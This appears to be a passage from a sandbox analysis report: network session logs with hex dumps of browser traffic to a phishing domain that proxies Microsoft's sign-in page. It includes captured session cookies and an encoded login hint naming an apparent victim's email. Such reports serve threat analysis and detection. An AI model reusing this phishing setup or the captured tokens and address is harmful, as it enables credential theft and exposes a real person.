"\r": "\\r", '"': '\\"', "\\": "\\\\", },
2024-11-21 13:45:13 UTC	16384	IN	Data Raw: 20 20 20 20 76 61 72 20 6d 20 3d 20 66 2e 61 64 64 28 64 2c 20 63 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 2e 74 61 72 67 65 74 55 72 6c 20 3d 20 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 61 2e 48 61 6e 64 6c 65 72 2e 63 61 6c 6c 28 6e 2c 20 70 29 2c 20 6e 2e 73 65 6e 64 52 65 71 75 65 73 74 28 29 3b 0a 20 20 20 20 20 20 20 20 7d 29 2c 0a 20 20 20 20 20 20 20 20 28 6e 2e 42 65 61 63 6f 6e 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 65 2c 20 74 2c 20 69 2c 20 61 2c 20 6f 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 76 61 72 20 72 20 3d 20 5b 5d 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 20 3d 20 76 28 21 30 29 3b 0a 20 20 20 20 20 20 20 20 20 20 70 2e 66 6f 72 45 61 63 68 28 Data Ascii: var m = f.add(d, c); p.targetUrl = m; } } a.Handler.call(n, p), n.sendRequest(); }), (n.Beacon = function (e, t, i, a, o) { var r = [], s = v(!0); p.forEach(
2024-11-21 13:45:13 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 6e 20 3f 20 28 6c 20 3d 3d 3d 20 70 2e 46 54 45 72 72 6f 72 20 3f 20 68 28 65 2c 20 64 29 20 3a 20 76 28 65 2c 20 64 29 29 20 3a 20 62 28 65 29 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 6b 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 28 67 20 3d 20 22 22 29 2c 20 28 6c 20 3d 20 70 2e 45 72 72 6f 72 29 2c 20 28 75 20 3d 20 22 22 29 2c 20 28 66 20 3d 20 22 22 29 2c 20 76 28 64 29 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 54 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 28 6c 20 3d 20 70 2e 54 69 6d 65 6f 75 74 29 2c 20 28 75 20 3d 20 22 22 29 2c 20 28 66 20 3d 20 22 22 29 2c 20 28 67 20 3d 20 22 22 29 2c 20 76 28 64 29 3b 0a 20 20 20 20 Data Ascii: n ? (l === p.FTError ? h(e, d) : v(e, d)) : b(e); } function k() { (g = ""), (l = p.Error), (u = ""), (f = ""), v(d); } function T() { (l = p.Timeout), (u = ""), (f = ""), (g = ""), v(d);
2024-11-21 13:45:14 UTC	16384	IN	Data Raw: 3d 20 6e 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 74 20 3d 20 7b 20 63 72 65 64 54 79 70 65 3a 20 6d 2e 4f 6e 65 54 69 6d 65 43 6f 64 65 2c 20 70 72 6f 6f 66 3a 20 65 20 7d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 77 69 74 63 68 20 28 28 28 74 2e 70 72 6f 6f 66 2e 69 73 45 6e 63 72 79 70 74 65 64 20 3d 20 21 30 29 2c 20 65 2e 74 79 70 65 29 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 61 73 65 20 50 52 4f 4f 46 2e 54 79 70 65 2e 53 4d 53 3a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 61 73 65 20 50 52 4f 4f 46 2e 54 79 70 65 2e 56 6f 69 63 65 3a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 21 65 2e 69 73 56 6f 69 63 65 4f 6e 6c 79 29 20 7b 0a 20 20 20 20 20 20 20 20 20 Data Ascii: = n) { var t = { credType: m.OneTimeCode, proof: e }; switch (((t.proof.isEncrypted = !0), e.type)) { case PROOF.Type.SMS: case PROOF.Type.Voice: if (!e.isVoiceOnly) {
2024-11-21 13:45:14 UTC	16384	IN	Data Raw: 3d 20 70 2e 61 70 70 65 6e 64 4f 72 52 65 70 6c 61 63 65 28 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 3f 22 20 2b 20 67 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 77 63 74 78 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 4c 6f 67 69 6e 4f 70 74 69 6f 6e 73 25 33 44 33 25 32 36 22 20 2b 20 70 2e 65 78 74 72 61 63 74 28 22 77 63 74 78 22 2c 20 22 3f 22 20 2b 20 67 65 29 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 28 74 20 3d 20 74 2e 73 75 62 73 74 72 28 31 29 29 2c 20 28 65 20 3d 20 70 2e 61 70 70 65 6e 64 28 65 2c 20 74 29 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: = p.appendOrReplace( "?" + ge, "wctx", "LoginOptions%3D3%26" + p.extract("wctx", "?" + ge) ); (t = t.substr(1)), (e = p.append(e, t));
2024-11-21 13:45:14 UTC	16384	IN	Data Raw: 20 20 28 65 2e 65 78 70 6f 72 74 73 20 3d 20 70 29 3b 0a 20 20 7d 2c 0a 20 20 66 75 6e 63 74 69 6f 6e 20 28 65 2c 20 6e 2c 20 74 29 20 7b 0a 20 20 20 20 76 61 72 20 69 20 3d 20 74 28 32 29 2c 0a 20 20 20 20 20 20 61 20 3d 20 74 28 31 29 2c 0a 20 20 20 20 20 20 6f 20 3d 20 74 28 34 29 2c 0a 20 20 20 20 20 20 72 20 3d 20 74 28 30 29 2c 0a 20 20 20 20 20 20 73 20 3d 20 77 69 6e 64 6f 77 2c 0a 20 20 20 20 20 20 63 20 3d 20 72 2e 44 69 61 6c 6f 67 49 64 3b 0a 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 64 28 65 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 6e 20 3d 20 74 68 69 73 2c 0a 20 20 20 20 20 20 20 20 74 20 3d 20 65 2e 69 73 50 6c 61 74 66 6f 72 6d 41 75 74 68 65 6e 74 69 63 61 74 6f 72 41 76 61 69 6c 61 62 6c 65 3b 0a 20 20 20 20 20 20 28 6e 2e 6f 6e 52 65 67 Data Ascii: (e.exports = p); }, function (e, n, t) { var i = t(2), a = t(1), o = t(4), r = t(0), s = window, c = r.DialogId; function d(e) { var n = this, t = e.isPlatformAuthenticatorAvailable; (n.onReg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.16	49761	185.156.109.33	443	68	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:45:12 UTC	2857	OUT	GET /aadcdn.msftauth.net/~/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_i8f-75gfk3tbsm8bmatnqa2.js HTTP/1.1 Host: sharedfile4rom1nternet.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://sharedfile4rom1nternet.com/?ydrv7fh27=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1rZWxseWIlNDBjaHctaW5jLmNvbSZjbGllbnQtcmVxdWVzdC1pZD1iMDk1MWIzZi1iYTEzLTQ3MzEtY2QwNy1kOTVkN2MyZjUyZmQmcHJvdGVjdGVkdG9rZW49dHJ1ZSZjbGFpbXM9JTdiJTIyaWRfdG9rZW4lMjIlM2ElN2IlMjJ4bXNfY2MlMjIlM2ElN2IlMjJ2YWx1ZXMlMjIlM2ElNWIlMjJDUDElMjIlNWQlN2QlN2QlN2Qmbm9uY2U9NjM4Njc3OTM0OTYzOTQ2ODQ1LjJmNWZmNjdmLWVjMTItNDRkYS04ZmI2LTkxYWZiNDFlYzFhMSZzdGF0ZT1EWXRCRG9NZ0VBQ2h2c1hqcXNpNndLSHhLUTFRdDVKU3VEUXhfWDMzTUhPWVpMUlNhaEJ1Z2w1RXlwSDE1Rnl3R01nR0pJX2J0UExHVEk3aHlHWUZ4R2NFejRrZ21NZ0pqZFJvdEx6ajNLODQ3N1dfU251Y3BYM3Y3NlBXWHhweHllY0ZwZVVwOTg4Zg==&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=aTEfjsxvMgjh; qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc; ClientId=906F1E7ACAC54F7D9911DB53B2D34A2F; OIDC=1; OpenIdConnect.nonce.v3.lhhrpoHn3ko2rvzAroRpUW2Hh8YidnRd1pwqxAckn54=638677934963946845.2f5ff67f-ec12-44da-8fb6-91afb41ec1a1; X-OWA-RedirectHistory=ArLym14Bp1dqrzIK3Qg; esctx-8aJMjTRPI1k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe456O00TLI3h0t9AtfSuAsD3JEhlr_WiNtZXRDIO_y4pBXOnYNBMbcvuuzSBeVN17ePg3uFNn-dP-9k3D9bFGQ8-aRUhFPJ1q9xWpLmlx4lbaGWmhjjjbF2jx2_Bhu9EAv7qELLisnfWk52-_XKiPUCAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AVkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAABZAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeWRbr_QXjj32lZOyBZAr4yin2vXoKchcNkPOIxrZzAmBulCZXcesmO1bTJvLHLzRoJuLFpnmkk5TnzYuQf04vxXTHnliWw0uvYLk2vpjBQQQgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeoM7xJpvsxUio31d-bf1INLjpdPTXN8ejDuCdtHs5vf1b6h5kyDmjCHN19GcbcjwdtNxOEQ5D55Cj4EadYFYInfsSWvtiQpm0D0t5EdYHZ1I2m-Sgw61d9hWLqLov-2p8eDMz2Nz0aIRUx-gJCGgkxK1qa-phPhB6FXHWSAIExCsgAA; esctx-bfFJSXux8I=AQABC [TRUNCATED]
2024-11-21 13:45:13 UTC	1342	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 2052927 Cache-Control: public, max-age=31536000 Content-MD5: GHueukH99mssj362RdK8Fw== Content-Type: application/x-javascript Date: Thu, 21 Nov 2024 13:45:13 GMT Etag: 0x8DCF55E8343790A Last-Modified: Sat, 26 Oct 2024 01:35:45 GMT Server: ECAcc (ska/F7B2) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 5e229a98-601e-00b1-566f-299f72000000 x-ms-version: 2009-09-19 content-length: 57510 Connection: close Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';
2024-11-21 13:45:13 UTC	15042	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 69 66 28 69 5b 6e 5d 29 72 65 74 75 72 6e 20 69 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 74 3d 69 5b 6e 5d 3d 7b 65 78 70 6f 72 74 73 3a 7b 7d 2c 69 64 3a 6e 2c 6c 6f 61 64 65 64 3a 21 31 7d 3b 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 63 61 6c 6c 28 74 2e 65 78 70 6f 72 74 73 2c 74 2c 74 2e 65 78 70 6f 72 74 73 2c 6f 29 2c 74 2e 6c 6f 61 64 65 64 3d 21 30 2c 74 2e 65 78 70 6f 72 74 73 7d 76 61 72 20 69 3d 7b 7d 3b 72 65 74 75 72 6e 20 6f 2e 6d 3d 65 2c 6f 2e 63 3d 69 2c 6f 2e 70 3d 22 22 2c 6f 28 30 29 7d 28 5b 66 75 6e 63 74 69 6f 6e 28 65 2c 6f 2c 69 29 7b 69 28 32 29 3b 76 61 72 20 6e 3d 69 28 31 29 2c 74 3d 69 28 35 29 2c 72 3d 69 28 36 29 2c 61 3d 72 2e 53 74 72 69 6e Data Ascii: !function(e){function o(n){if(i[n])return i[n].exports;var t=i[n]={exports:{},id:n,loaded:!1};return e[n].call(t.exports,t,t.exports,o),t.loaded=!0,t.exports}var i={};return o.m=e,o.c=i,o.p="",o(0)}([function(e,o,i){i(2);var n=i(1),t=i(5),r=i(6),a=r.Strin
2024-11-21 13:45:13 UTC	16384	IN	Data Raw: 5f 53 54 52 5f 4f 54 43 45 72 72 6f 72 5f 44 65 73 63 72 69 70 74 69 6f 6e 3d 22 54 68 65 72 65 20 77 61 73 20 61 6e 20 65 72 72 6f 72 20 67 65 74 74 69 6e 67 20 74 68 65 20 51 52 20 63 6f 64 65 2e 22 2c 65 2e 43 54 5f 56 43 5f 53 54 52 5f 43 6f 6e 74 69 6e 75 65 5f 54 69 74 6c 65 3d 22 43 6f 6e 74 69 6e 75 65 20 6f 6e 20 79 6f 75 72 20 6f 74 68 65 72 20 64 65 76 69 63 65 22 2c 65 2e 43 54 5f 56 43 5f 53 54 52 5f 43 6f 6e 74 69 6e 75 65 5f 44 65 73 63 72 69 70 74 69 6f 6e 3d 22 46 6f 6c 6c 6f 77 20 74 68 65 20 69 6e 73 74 72 75 63 74 69 6f 6e 73 20 6f 6e 20 79 6f 75 72 20 6f 74 68 65 72 20 64 65 76 69 63 65 2e 20 54 68 65 20 63 6f 64 65 20 69 73 20 76 61 6c 69 64 20 66 6f 72 20 7b 30 7d 20 6d 69 6e 75 74 65 73 2e 22 2c 65 2e 43 54 5f 56 43 5f 53 54 52 5f Data Ascii: _STR_OTCError_Description="There was an error getting the QR code.",e.CT_VC_STR_Continue_Title="Continue on your other device",e.CT_VC_STR_Continue_Description="Follow the instructions on your other device. The code is valid for {0} minutes.",e.CT_VC_STR_
2024-11-21 13:45:13 UTC	16384	IN	Data Raw: 61 69 6e 20 6a 6f 69 6e 20 69 6e 73 74 65 61 64 22 2c 6f 2e 66 4f 66 66 6c 69 6e 65 41 63 63 6f 75 6e 74 56 69 73 69 62 6c 65 7c 7c 28 65 2e 43 54 5f 50 57 44 5f 53 54 52 5f 45 72 72 6f 72 5f 55 73 65 72 6e 61 6d 65 4e 6f 74 45 78 69 73 74 3d 22 57 65 20 64 69 64 6e 27 74 20 66 69 6e 64 20 74 68 61 74 20 65 6d 61 69 6c 20 61 64 64 72 65 73 73 20 69 6e 20 79 6f 75 72 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 2e 20 55 73 65 20 61 6e 6f 74 68 65 72 20 65 6d 61 69 6c 20 61 64 64 72 65 73 73 20 6f 72 20 63 6f 6e 74 61 63 74 20 79 6f 75 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2e 22 29 2c 65 2e 43 54 5f 57 69 6e 31 30 5f 53 54 52 5f 53 74 61 72 74 4f 76 65 72 3d 22 53 74 61 72 74 20 6f 76 65 72 20 77 69 74 68 20 61 20 64 69 66 66 65 72 65 6e 74 20 61 63 63 6f Data Ascii: ain join instead",o.fOfflineAccountVisible\|\|(e.CT_PWD_STR_Error_UsernameNotExist="We didn't find that email address in your organization. Use another email address or contact your administrator."),e.CT_Win10_STR_StartOver="Start over with a different acco
2024-11-21 13:45:13 UTC	9700	IN	Data Raw: 65 54 69 6d 65 50 61 73 73 63 6f 64 65 4d 65 73 73 61 67 65 44 65 6c 69 76 65 72 79 46 61 69 6c 65 64 3a 22 35 30 31 38 35 22 2c 49 6e 76 61 6c 69 64 50 61 73 73 77 6f 72 64 3a 22 35 30 31 39 33 22 2c 49 6e 76 61 6c 69 64 4f 6e 65 54 69 6d 65 50 61 73 73 63 6f 64 65 4f 54 50 4e 6f 74 47 69 76 65 6e 3a 22 35 30 31 38 31 31 22 2c 49 6e 76 61 6c 69 64 47 72 61 6e 74 44 65 76 69 63 65 4e 6f 74 46 6f 75 6e 64 3a 22 37 30 30 30 30 33 22 2c 53 73 6f 41 72 74 69 66 61 63 74 45 78 70 69 72 65 64 44 75 65 54 6f 43 6f 6e 64 69 74 69 6f 6e 61 6c 41 63 63 65 73 73 3a 22 37 30 30 34 34 22 2c 53 73 6f 41 72 74 69 66 61 63 74 45 78 70 69 72 65 64 44 75 65 54 6f 43 6f 6e 64 69 74 69 6f 6e 61 6c 41 63 63 65 73 73 52 65 41 75 74 68 3a 22 37 30 30 34 36 22 2c 49 6e 76 61 6c Data Ascii: eTimePasscodeMessageDeliveryFailed:"50185",InvalidPassword:"50193",InvalidOneTimePasscodeOTPNotGiven:"501811",InvalidGrantDeviceNotFound:"700003",SsoArtifactExpiredDueToConditionalAccess:"70044",SsoArtifactExpiredDueToConditionalAccessReAuth:"70046",Inval

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.16	49768	13.107.246.45	443	68	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:45:13 UTC	650	OUT	POST /report/ESTS-UX-All HTTP/1.1 Host: csp.microsoft.com Connection: keep-alive Content-Length: 2850 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/csp-report Accept: / Origin: https://sharedfile4rom1nternet.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: report Referer: https://sharedfile4rom1nternet.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-21 13:45:13 UTC	2850	OUT	Data Raw: 7b 22 63 73 70 2d 72 65 70 6f 72 74 22 3a 7b 22 64 6f 63 75 6d 65 6e 74 2d 75 72 69 22 3a 22 68 74 74 70 73 3a 2f 2f 73 68 61 72 65 64 66 69 6c 65 34 72 6f 6d 31 6e 74 65 72 6e 65 74 2e 63 6f 6d 2f 3f 79 64 72 76 37 66 68 32 37 3d 61 48 52 30 63 48 4d 36 4c 79 39 73 62 32 64 70 62 69 35 74 61 57 4e 79 62 33 4e 76 5a 6e 52 76 62 6d 78 70 62 6d 55 75 59 32 39 74 4c 32 4e 76 62 57 31 76 62 69 39 76 59 58 56 30 61 44 49 76 59 58 56 30 61 47 39 79 61 58 70 6c 50 32 4e 73 61 57 56 75 64 46 39 70 5a 44 30 77 4d 44 41 77 4d 44 41 77 4d 69 30 77 4d 44 41 77 4c 54 42 6d 5a 6a 45 74 59 32 55 77 4d 43 30 77 4d 44 41 77 4d 44 41 77 4d 44 41 77 4d 44 41 6d 63 6d 56 6b 61 58 4a 6c 59 33 52 66 64 58 4a 70 50 57 68 30 64 48 42 7a 4a 54 4e 68 4a 54 4a 6d 4a 54 4a 6d 62 33 Data Ascii: {"csp-report":{"document-uri":"https://sharedfile4rom1nternet.com/?ydrv7fh27=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3
2024-11-21 13:45:14 UTC	349	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:45:14 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Request-Context: appId=cid-v1:5c791ad2-9c50-4271-a8a5-5c74d929f3ed x-azure-ref: 20241121T134513Z-178bfbc474bv587zhC1NYCny5w00000001gg0000000020xr X-Cache: CONFIG_NOCACHE
2024-11-21 13:45:14 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-21 13:45:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.16	49765	13.107.246.45	443	68	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:45:13 UTC	650	OUT	POST /report/ESTS-UX-All HTTP/1.1 Host: csp.microsoft.com Connection: keep-alive Content-Length: 2968 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/csp-report Accept: / Origin: https://sharedfile4rom1nternet.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: report Referer: https://sharedfile4rom1nternet.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-21 13:45:13 UTC	2968	OUT	Data Raw: 7b 22 63 73 70 2d 72 65 70 6f 72 74 22 3a 7b 22 64 6f 63 75 6d 65 6e 74 2d 75 72 69 22 3a 22 68 74 74 70 73 3a 2f 2f 73 68 61 72 65 64 66 69 6c 65 34 72 6f 6d 31 6e 74 65 72 6e 65 74 2e 63 6f 6d 2f 3f 79 64 72 76 37 66 68 32 37 3d 61 48 52 30 63 48 4d 36 4c 79 39 73 62 32 64 70 62 69 35 74 61 57 4e 79 62 33 4e 76 5a 6e 52 76 62 6d 78 70 62 6d 55 75 59 32 39 74 4c 32 4e 76 62 57 31 76 62 69 39 76 59 58 56 30 61 44 49 76 59 58 56 30 61 47 39 79 61 58 70 6c 50 32 4e 73 61 57 56 75 64 46 39 70 5a 44 30 77 4d 44 41 77 4d 44 41 77 4d 69 30 77 4d 44 41 77 4c 54 42 6d 5a 6a 45 74 59 32 55 77 4d 43 30 77 4d 44 41 77 4d 44 41 77 4d 44 41 77 4d 44 41 6d 63 6d 56 6b 61 58 4a 6c 59 33 52 66 64 58 4a 70 50 57 68 30 64 48 42 7a 4a 54 4e 68 4a 54 4a 6d 4a 54 4a 6d 62 33 Data Ascii: {"csp-report":{"document-uri":"https://sharedfile4rom1nternet.com/?ydrv7fh27=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3
2024-11-21 13:45:13 UTC	349	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:45:13 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Request-Context: appId=cid-v1:5c791ad2-9c50-4271-a8a5-5c74d929f3ed x-azure-ref: 20241121T134513Z-r1d97b99577656nchC1TEBk98c0000000aeg00000000b73f X-Cache: CONFIG_NOCACHE
2024-11-21 13:45:13 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-21 13:45:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.16	49766	13.107.246.45	443	68	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:45:13 UTC	650	OUT	POST /report/ESTS-UX-All HTTP/1.1 Host: csp.microsoft.com Connection: keep-alive Content-Length: 2967 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/csp-report Accept: / Origin: https://sharedfile4rom1nternet.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: report Referer: https://sharedfile4rom1nternet.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-21 13:45:13 UTC	2967	OUT	Data Raw: 7b 22 63 73 70 2d 72 65 70 6f 72 74 22 3a 7b 22 64 6f 63 75 6d 65 6e 74 2d 75 72 69 22 3a 22 68 74 74 70 73 3a 2f 2f 73 68 61 72 65 64 66 69 6c 65 34 72 6f 6d 31 6e 74 65 72 6e 65 74 2e 63 6f 6d 2f 3f 79 64 72 76 37 66 68 32 37 3d 61 48 52 30 63 48 4d 36 4c 79 39 73 62 32 64 70 62 69 35 74 61 57 4e 79 62 33 4e 76 5a 6e 52 76 62 6d 78 70 62 6d 55 75 59 32 39 74 4c 32 4e 76 62 57 31 76 62 69 39 76 59 58 56 30 61 44 49 76 59 58 56 30 61 47 39 79 61 58 70 6c 50 32 4e 73 61 57 56 75 64 46 39 70 5a 44 30 77 4d 44 41 77 4d 44 41 77 4d 69 30 77 4d 44 41 77 4c 54 42 6d 5a 6a 45 74 59 32 55 77 4d 43 30 77 4d 44 41 77 4d 44 41 77 4d 44 41 77 4d 44 41 6d 63 6d 56 6b 61 58 4a 6c 59 33 52 66 64 58 4a 70 50 57 68 30 64 48 42 7a 4a 54 4e 68 4a 54 4a 6d 4a 54 4a 6d 62 33 Data Ascii: {"csp-report":{"document-uri":"https://sharedfile4rom1nternet.com/?ydrv7fh27=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3
2024-11-21 13:45:16 UTC	349	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:45:16 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Request-Context: appId=cid-v1:5c791ad2-9c50-4271-a8a5-5c74d929f3ed x-azure-ref: 20241121T134513Z-r1d97b99577jlrkbhC1TEBq8d00000000aa000000000anf6 X-Cache: CONFIG_NOCACHE
2024-11-21 13:45:16 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-21 13:45:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.16	49767	13.107.246.45	443	68	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:45:13 UTC	650	OUT	POST /report/ESTS-UX-All HTTP/1.1 Host: csp.microsoft.com Connection: keep-alive Content-Length: 2967 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/csp-report Accept: / Origin: https://sharedfile4rom1nternet.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: report Referer: https://sharedfile4rom1nternet.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
